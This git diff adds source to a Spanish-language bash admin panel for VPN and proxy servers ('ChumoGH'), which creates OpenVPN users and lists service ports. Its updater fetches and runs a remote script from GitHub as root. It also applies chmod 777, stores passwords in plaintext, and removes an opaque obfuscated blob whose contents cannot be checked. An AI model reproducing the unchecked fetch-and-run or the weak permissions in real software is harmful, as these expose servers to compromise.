+ # Agrega aquí el código que deseas ejecutar para el usuario seleccionado
+ elif grep -Fxq "$opcion" <<< "$lista_nombres"; then
+ numero=$(grep -nFx "$opcion" <<< "$lista_nombres" | cut -d: -f1)
+ msg -bar
+ echo " Seleccionaste el usuario: $opcion (número $numero)"
+ select_name=${opcion}
+ select_number=${numero}
+ return
+ # Agrega aquí el código que deseas ejecutar para el usuario seleccionado
+ elif [[ "${opcion}" == '0' ]]; then
+ return
+ fi
+return
+}
+
+while true; do
+ msg -bar
+ mostrar_menu_numerado
+ #msg -bar
+ read -p " $(echo -e "${cor[5]} ESCRIBE (nombre o número) DEL USUARIO: ")" select_user
+ tput cuu1 && tput dl1
+ [[ ${select_user} = 0 ]] && break
+ procesar_opcion "$select_user"
+ msg -bar
+ echo -e "${cor[5]} $select_name - N° ${select_number}"
+ break
+done
+
+#echo -ne "${cor[6]}"
+#read -p " > OPCION : " select_user
+}
+
+#RELLENA LA VARIABLE $IP CON LA IP PUBLICA
+meu_ip () {
+ if [[ -e /bin/ejecutar/IPcgh ]]; then
+ IP="$(cat /bin/ejecutar/IPcgh)"
+ else
+ MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
+ MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
+ [[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" && echo "$MEU_IP2" || IP="$MEU_IP" && echo "$MEU_IP"
+ echo "$MEU_IP2" > /bin/ejecutar/IPcgh
+ IP="$MEU_IP2"
+ fi
+}
+
+ofus () {
+unset txtofus
+number=$(expr length $1)
+for((i=1; i<$number+1; i++)); do
+txt[$i]=$(echo "$1" | cut -b $i)
+case ${txt[$i]} in
+".") txt[$i]="x";;
+"x") txt[$i]=".";;
+"5") txt[$i]="s";;
+"s") txt[$i]="5";;
+"1") txt[$i]="@";;
+"@") txt[$i]="1";;
+"2") txt[$i]="?";;
+"?") txt[$i]="2";;
+"4") txt[$i]="0";;
+"0") txt[$i]="4";;
+"/") txt[$i]="K";;
+"K") txt[$i]="/";;
+esac
+txtofus+="${txt[$i]}"
+done
+echo "$txtofus" | rev
+}
+
+
+fun_atualizar () {
+clear&&clear
+#upFILE=$(curl -sSL "https://www.dropbox.com/s/uyyme71yu6942vb/update.txt")
+#echo -e "$upFILE"
+msg -bar
+cd /etc/scpdk1
+chmod 777 ./*
+echo -e "${cor[3]} ¿DESEAS CONTINUAR CON UPDATE DEL SCRIPT ? "
+read -p " [S/N]: " -e -i s sshsn
+[[ "$sshsn" = @(s|S|y|Y) ]] && {
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/cabecalho/updateadm) "alx"
+exit&&exit
+}
+#read -p " PRESIONA ENTER PARA CONTINUAR !!"
+}
+
+#GERA NOVO CLIENTE
+newclient () {
+
+ # Generates the custom client.ovpn
+ rm -rf /etc/openvpn/easy-rsa/pki/reqs/$1.req
+ rm -rf /etc/openvpn/easy-rsa/pki/issued/$1.crt
+ rm -rf /etc/openvpn/easy-rsa/pki/private/$1.key
+ cd /etc/openvpn/easy-rsa/
+ ./easyrsa build-client-full $1 nopass > /dev/null 2>&1
+ cd
+ cp /etc/openvpn/client-common.txt ~/$1.ovpn
+ echo "" >> ~/$1.ovpn
+ cat /etc/openvpn/easy-rsa/pki/ca.crt >> ~/$1.ovpn
+ echo "" >> ~/$1.ovpn
+ echo "" >> ~/$1.ovpn
+ cat /etc/openvpn/easy-rsa/pki/issued/$1.crt >> ~/$1.ovpn
+ echo "" >> ~/$1.ovpn
+ echo "" >> ~/$1.ovpn
+ cat /etc/openvpn/easy-rsa/pki/private/$1.key >> ~/$1.ovpn
+ echo "" >> ~/$1.ovpn
+ echo "" >> ~/$1.ovpn
+ cat /etc/openvpn/ta.key >> ~/$1.ovpn
+ echo "" >> ~/$1.ovpn
+}
+
+open_1 () {
+CLIENT="$1"
+senha="$2"
+daysrnf="$3"
+limit="$4"
+#cd /etc/openvpn/easy-rsa/
+#./easyrsa build-client-full $CLIENT nopass
+newclient "$CLIENT"
+#echo ""
+#echo "$CLIENT KEY" ~/"$CLIENT.ovpn"
+valid=$(date '+%C%y-%m-%d' -d " +$daysrnf days")
+datexp=$(date "+%d/%m/%Y" -d "+ $daysrnf days")
+useradd -M -s /bin/false -d /home/ovpn/ $CLIENT -e $valid
+usermod -p $(openssl passwd -1 $senha) $CLIENT
+#Arquivo
+ while [[ ${newfile} != @(s|S|y|Y|n|N) ]]; do
+ msg -bar
+ read -p "Crear Archivo OpenVPN? [S/N]: " -e -i S newfile
+ tput cuu1 && tput dl1
+ done
+ [[ ${newfile} = @(s|S|y|Y) ]] && {
+ while [[ ${ovpnauth} != @(s|S|y|Y|n|N) ]]; do
+ read -p " Colocar autenticacion de usuario en el archivo? [S/N]: " -e -i S ovpnauth
+ tput cuu1 && tput dl1
+ done
+ [[ ${ovpnauth} = @(s|S|y|Y) ]] && sed -i "s;auth-user-pass;\n$CLIENT\n$senha\n;g" $HOME/$CLIENT.ovpn
+ cd $HOME
+ zip ./$CLIENT.zip ./$CLIENT.ovpn > /dev/null 2>&1
+ echo -e "\033[1;31m Archivo generado en: ($HOME/$CLIENT.zip)"
+ echo -e "\033[1;32m ALOJAR ONLINE ( * menu * opcion 2 * opcion 8 )"
+ }
+rm -f ./$CLIENT.ovpn
+cd /etc/scpdk1
+echo "senha: $senha" > $dir_user/$CLIENT
+echo "limite: $limit" >> $dir_user/$CLIENT
+echo "data: $valid" >> $dir_user/$CLIENT
+}
+
+open_2 () {
+CLIENT="$1"
+userdel --force $CLIENT
+cd /etc/scpdk1
+[[ -e $dir_user/$CLIENT ]] && rm $dir_user/$CLIENT
+}
+
+#VERIFICA SI ES NUMERO
+number_var () {
+unset var_number
+if (echo "$1" | egrep '[^0-9]' &> /dev/null); then
+echo -e "${cor[5]} SOLO NUMEROS!"
+else
+var_number="$1"
+fi
+}
+
+ports_ () {
+unset puertos texto texto_ svcs porta
+local texto
+local texto_
+local puertos
+local svcs
+local PT=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
+local _ps="$(ps x)"
+x=1
+for porta in `echo -e "$PT" | cut -d: -f2 | cut -d' ' -f1 |sort -n | uniq`; do
+ [[ -z $porta ]] && continue
+ porta[$x]="$porta"
+ #echo "$porta - $(echo -e "$PT" | grep -w "$porta" | awk '{print $1}' | uniq | tail -1)"
+ svcs[$x]="$(echo -e "$PT" | grep -w "$porta" | awk '{print $1}' | uniq | tail -1)"
+ let x++;
+done
+
+for((i=1; i<$x; i++)); do
+[[ ! -z ${svcs[$i]} ]] && texto="\033[1;34m ${pPIniT} \033[1;37m${svcs[$i]}: \033[1;31m${porta[$i]}" || texto=''
+[[ ${svcs[$i]} = "apache2" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mAPACHE: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "node" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mWebSocket: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "clash" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mClash: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "psiphond" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mPSIPHON: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "xray-v2-u" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mXRAY/UI: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "v2-ui" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mV2-UI/WEB: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "xray-linu" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mXRAY/UI: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "x-ui" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mXUI/WEB: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "openvpn" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mOPENVPN-TCP: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "squid" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSQUID: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "squid3" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSQUID: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "dropbear" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mDROPBEAR: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "python3" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSOCKS/PYTHON3: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "python" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSOCKS/PYTHON: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "obfs-serv" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSSR (OBFS): \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "ss-server" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSSR (LIV): \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "sshd" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSSH: ${porta[$i]}"
+[[ ${svcs[$i]} = "ssh" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSSH: ${porta[$i]}"
+[[ ${svcs[$i]} = "systemd-r" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSystem-DNS: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "stunnel4" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSSL: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "stunnel" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSSL: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "v2ray" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mV2RAY: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "xray" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mXRAY: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "badvpn-ud" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mBadVPN: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "trojan" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mTrojan-GO: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "sslh" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSSLH: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "nc.tradit" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mKeyGen: \033[1;31mON"
+[[ ${svcs[$i]} = "filebrows" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mFileBrowser: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "rpcbind" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mRPCBind: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "snell-ser" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSNell: \033[1;31m${porta[$i]}"
+ i=$(($i+1))
+[[ ! -z ${svcs[$i]} ]] && texto_="\033[1;34m ${pPIniT} \033[1;37m${svcs[$i]}: \033[1;31m${porta[$i]}" || texto_=''
+[[ ${svcs[$i]} = "apache2" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mAPACHE: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "node" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mWebSocket: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "clash" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mClash: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "psiphond" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mPSIPHON: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "xray-v2-u" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mXRAY/UI: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "v2-ui" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mV2-UI/WEB: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "xray-linu" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mXRAY/UI: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "x-ui" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mXUI/WEB: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "openvpn" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mOPENVPN-TCP: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "squid" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSQUID: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "squid3" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSQUID: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "dropbear" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mDROPBEAR: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "python3" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSOCKS/PYTHON3: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "python" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSOCKS/PYTHON: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "obfs-serv" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSSR (OBFS): \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "ss-server" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSSR (LIV): \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "sshd" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSSH: ${porta[$i]}"
+[[ ${svcs[$i]} = "ssh" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSSH: ${porta[$i]}"
+[[ ${svcs[$i]} = "systemd-r" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSystem-DNS: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "stunnel4" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSSL: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "stunnel" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSSL: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "v2ray" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mV2RAY: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "xray" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mXRAY: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "badvpn-ud" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mBadVPN: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "trojan" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mTrojan-GO: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "sslh" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSSLH: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "nc.tradit" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mKeyGen: \033[1;31mON"
+[[ ${svcs[$i]} = "filebrows" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mFileBrowser: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "rpcbind" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mRPCBind: \033[1;31m${porta[$i]}"
+[[ ${svcs[$i]} = "snell-ser" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSNell: \033[1;31m${porta[$i]}"
+#[[ -z $texto_ ]] && {
+#[[ -z $(echo -e "${_ps}"| grep slowdns | grep -v grep) ]] || texto_="\033[1;34m ∘ \033[1;37mSlowDNS: \033[1;33m5300"
+# }
+#[[ -z $(echo -e "${_ps}"| grep slowdns | grep -v grep) ]] || texto="\033[1;34m ∘ \033[1;37mSlowDNS: \033[1;33m5300"
+puertos+="${texto}|${texto_}\n"
+done
+local _PT=$(lsof -V -i UDP -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep -E 'openvpn|dns-serve|udpServer|hysteria|UDP-Custo|Hysteria2')
+x=1
+for porta in `echo -e "$_PT" | cut -d: -f2 | cut -d' ' -f1 |sort -n | uniq`; do
+ [[ -z $porta ]] && continue
+ _porta[$x]="$porta"
+ _svcs[$x]="$(echo -e "$_PT" | grep -w "$porta" | awk '{print $1}' | uniq | tail -1)"
+ let x++;
+done
+for((i=1; i<$x; i++)); do
+[[ ! -z ${_svcs[$i]} ]] && texto="\033[1;34m ${pPIniT} \033[1;37m${_svcs[$i]}: \033[1;31m${_porta[$i]}" || texto=''
+[[ ${_svcs[$i]} = "dns-serve" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mSlowDNS: \033[1;31m${_porta[$i]}"
+[[ ${_svcs[$i]} = "openvpn" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mOPENVPN-UDP: \033[1;31m${_porta[$i]}"
+[[ ${_svcs[$i]} = "udpServer" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mUDPServer: \033[1;31m${_porta[$i]}"
+[[ ${_svcs[$i]} = "hysteria" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mHysteriaUDP: \033[1;31m${_porta[$i]}"
+[[ ${_svcs[$i]} = "UDP-Custo" ]] && texto="\033[1;34m ${pPIniT} \033[1;37mUDP-Custom: \033[1;31m${_porta[$i]}"
+i=$(($i+1))
+[[ ! -z ${_svcs[$i]} ]] && texto_="\033[1;34m ${pPIniT} \033[1;37m${_svcs[$i]}: \033[1;31m${_porta[$i]}" || texto_=''
+[[ ${_svcs[$i]} = "dns-serve" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mSlowDNS: \033[1;31m${_porta[$i]}"
+[[ ${_svcs[$i]} = "openvpn" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mOPENVPN-UDP: \033[1;31m${_porta[$i]}"
+[[ ${_svcs[$i]} = "udpServer" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mUDPServer: \033[1;31m${_porta[$i]}"
+[[ ${_svcs[$i]} = "hysteria" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mHysteriaUDP: \033[1;31m${_porta[$i]}"
+[[ ${_svcs[$i]} = "UDP-Custo" ]] && texto_="\033[1;34m ${pPIniT} \033[1;37mUDP-Custom: \033[1;31m${_porta[$i]}"
+puertos+="${texto}|${texto_}\n"
+done
+
+[[ $(echo -e "$puertos" | grep 'SSH: 22') ]] && {
+export PATH=$PATH:/usr/sbin:/usr/local/sbin:/usr/local/bin:/usr/bin:/sbin:/bin:/usr/games
+[[ -z $(locale | grep "LANG=" | cut -d "=" -f2) ]] && export LANG=en_US.UTF-8
+echo -e "$puertos"|column -s "|" -t
+} || echo -e " ⚠️ PUERTOS SSH TRUNCADO POR DROPBEAR ⚠️ \n Coloca : sudo -i \n Ve al menu 7, opcion 7 "
+local PIDGEN=$(echo -e "${_ps}"| grep "BotGen.sh" | grep -v grep |awk '{print $1}')
+[[ ! -z $PIDGEN ]] && {
+local botG="\033[1;34m ${pPIniT} \033[1;37m BotGen Telegram 🤖 : \033[1;31m ⚡ ACTIVO ⚡"
+msg -bar
+echo -e "$botG"
+unset svcs porta puertos i x
+}
+}
+
+#declare -A tnUP=' ⚠️ ChumoGH ADM ⚠️ NECESITA ACTUALIZARSE!'
+declare -A exitokey="\033[3;49;32m$(cat < /bin/ejecutar/exito)©"
+declare -A cpu_core=$(cat /proc/cpuinfo | grep processor | wc -l)
+declare -A cpu_model=$(uname -m)
+[[ $cpu_model = "aarch64" ]] && cpu_model=" ARM64 Pro"
+[[ $v1 = $v2 ]] && vesaoSCT="\033[1;37m Key: $exitokey 】\033[0m\033[0;33m($v2)" || vesaoSCT="\033[1;37m Key: $exitokey 】\033[0m\033[0;33m($v2) ► \033[1;32m[$v1]\033[1;31m"
+meu_ip
+[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} ChumoGH${TTcent}VPS ${TTfin} "
+msg -bar
+[[ -e /etc/scpdk1/modulos ]] && echo -e "${cor[2]} ${pPIniT} \033[1;37mONLINES: ${_onlin}${cor[2]} ${pPIniT} \033[1;37mEXP: ${_userexp} ${cor[2]}${pPIniT}\033[1;37m KILL: $ukk ${cor[2]}${pPIniT}\033[1;37m TOTAL: ${_tuser}"
+echo -e "${cor[2]} ${pPIniT} \033[1;37mS.O: ${_os} ${cor[2]}${pPIniT} \033[1;37mBase:\033[1;31m${cpu_model} ${cor[2]}${pPIniT} \033[1;37mCores:\033[1;31m ${cpu_core} "
+echo -e "${cor[2]} ${pPIniT} \033[1;37mIP:\033[1;31m ${IP} ${cor[2]}${pPIniT} \033[1;37mFECHA: \033[1;31m$(date +"%d/%m/%Y")-$(date +"%H:%M")"
+msg -bar
+echo -e "${vesaoSCT} "
+msg -bar
+[[ $1 = "ports_" ]] && ports_
+export -f ports_
+export -f ofus
+export -f fun_atualizar
+export -f select_users
+export -f remover_adm
+export -f meu_ip
diff --git a/Lista/ferramentas b/Lista/ferramentas
index ff8bf61..becd190 100755
--- a/Lista/ferramentas
+++ b/Lista/ferramentas
@@ -1,2 +1,619 @@
#!/bin/bash
-hiUKBgaaHAOqDuvToFAbveXwgXjwLFvZgrLYJCvBfCDcodqSMBRxCbDiGrjrfXjDtaxRZJTFIqwWDdfdVTyHmCzjdwoxJEJvsFLE="zMZRzSdwkKqpTiafNKdgmkvIDGEyGUXnRojSVLAveSVVeclDCbejxGGhfNXKvIsKlZuzpPCapqYOfzeYJCWmLrwtBqKgoNmuRDdf";NUVwCFMLorlKmmYeJQsJBFjHhxjiTgfIuxvtKfRpWJRbBcQoyWAOVDrZbMdoaaPlvPTGclLsZvXnxdJcfqfpqYwBJKXRBTfaJlRE="RGUOaRzrapDkbPfSRFUzSVLhwtcxVOdarJXxCkmqRAnnSuXASFgrRbkrNQFdpNHZlditJxUASpOnUsKAyLOjPUkOFWYOuXHWAHIO";vAQIVljWndsvhMhNyxVLdBtbmylNztxbQeMzrRkofgHjgvmtWYacNElOrnuAUZLECvENYnDbNFlIxsHJVhEeZLEfpjSRUjTPLShr="ch";MazeaEKrpPngTNAQnOMVJxJHPVuinlraiGazogbvgjQbYRRZoLnQtFtqCjazaGtvZWBwoPQLACOdfrHxVHJxIlSuMSbOgegiALev="4";RgiJFTltqfzmYxZChcbKgPvPWTFnkPwCTnbcAsOGcysTAqUeLaUTGfIemrpDwdGEEDdFjxTvJbbrQPldxqwVHTJiqUoXFrmuDLeV="";WuCFJQgfgkriwOZwcqhSOgsTfgCbpfzrFVfOTQsaiYmQUnDGkYiPbXWdhgNqprOzhqUMjfoIBURiWKOUSafVXaypAJWaCiDryYce="SxPkYlNFbuTeIdmcMWfiKbgTUhECfYZhdPPMdBdkIiYiaHkJFsYPPGDiHiPJsIxNBOWEGNEVFQDZNdnkTcIZRyItjBpYnigYfWAA";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